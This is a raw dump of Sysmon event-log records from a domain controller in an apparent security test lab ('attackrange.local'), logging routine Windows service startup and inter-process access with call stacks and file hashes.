:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001215Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.359{A5F018FF-28BD-5F80-0A00-000000007F01}852936C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3200-000000007F01}2656C:\Windows\System32\ismserv.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001214Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.358{A5F018FF-28BD-5F80-0A00-000000007F01}8522668C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2E00-000000007F01}2604C:\Program Files\Amazon\XenTools\LiteAgent.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001213Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.357{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001212Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.357{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001211Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.357{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001210Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.355{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3200-000000007F01}2656C:\Windows\System32\ismserv.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001209Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.354{A5F018FF-28BD-5F80-0A00-000000007F01}8521192C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3200-000000007F01}2656C:\Windows\System32\ismserv.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001208Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.352{A5F018FF-28CF-5F80-3200-000000007F01}2656C:\Windows\System32\ismserv.exe10.0.14393.0 (rs1_release.160715-1616)Windows NT Intersite Messaging ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationismserv.exeC:\Windows\System32\ismserv.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=39F0EC2CAE7FF38BABDDE2252ACCEA67,SHA256=29BDF4D2040D24E02B830A272D02CF29F19FD4E1A0F54F22BCC76301A0BFD26F,IMPHASH=088F7CD1DAA87B8E05239EDAB00479BB{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001207Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.354{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3100-000000007F01}2600C:\Program Files (x86)\nxlog\nxlog.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001206Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.353{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3100-000000007F01}2600C:\Program Files (x86)\nxlog\nxlog.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\services.exe+12bee|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001205Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.352{A5F018FF-28CF-5F80-3100-000000007F01}2600C:\Program Files (x86)\nxlog\nxlog.exe-----"C:\Program Files (x86)\nxlog\nxlog.exe" -c "C:\Program Files (x86)\nxlog\conf\nxlog.conf"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=EDE0FA11A10EF649A05AC992D0231673,SHA256=B66FA8592904D8502747C78C79D5B3E86C9ED7383A8159209BB2740BB92070EC,IMPHASH=517158273EC1C6D5E65120E91DD2284A{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001204Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.351{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-2E00-000000007F01}2604C:\Program Files\Amazon\XenTools\LiteAgent.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001203Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.351{A5F018FF-28BD-5F80-0A00-000000007F01}852944C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2E00-000000007F01}2604C:\Program Files\Amazon\XenTools\LiteAgent.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\services.exe+12bee|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001202Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.341{A5F018FF-28CF-5F80-2E00-000000007F01}2604C:\Program Files\Amazon\XenTools\LiteAgent.exe1.0xenagentXENIFACEAmazon Inc.xenagent.exe"C:\Program Files\Amazon\XenTools\LiteAgent.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=3727559C2C2FE26EE668086FAF992815,SHA256=8130E7A850E0A088CB46F2595F7418CE9D73CE2F7750FC017ABC5CF3DED05F06,IMPHASH=C8B18E9A517CB77EA7AB3E7295D84FE8{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001201Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.350{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001200Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.349{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001199Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.349{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-2D00-000000007F01}2780C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001198Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.349{A5F018FF-28BD-5F80-0A00-000000007F01}852940C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2D00-000000007F01}2780C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001197Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.340{A5F018FF-28CF-5F80-2D00-000000007F01}2780C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe10.0.14393.0Microsoft.ActiveDirectory.WebServicesMicrosoft (R) Windows (R) Operating SystemMicrosoft CorporationMicrosoft.ActiveDirectory.WebServices.exeC:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F8D0C92070E59A059A889D5E269C0DA9,SHA256=D40478A82BB2993F39A3ED6066CD0599BE37FF9A0898636A680926FE145C64D6,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001196Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.348{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001195Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.348{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001194Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.348{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001193Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.348{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001192Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.347{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001191Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.347{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001190Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.347{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001189Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.347{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001188Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.347{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001187Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 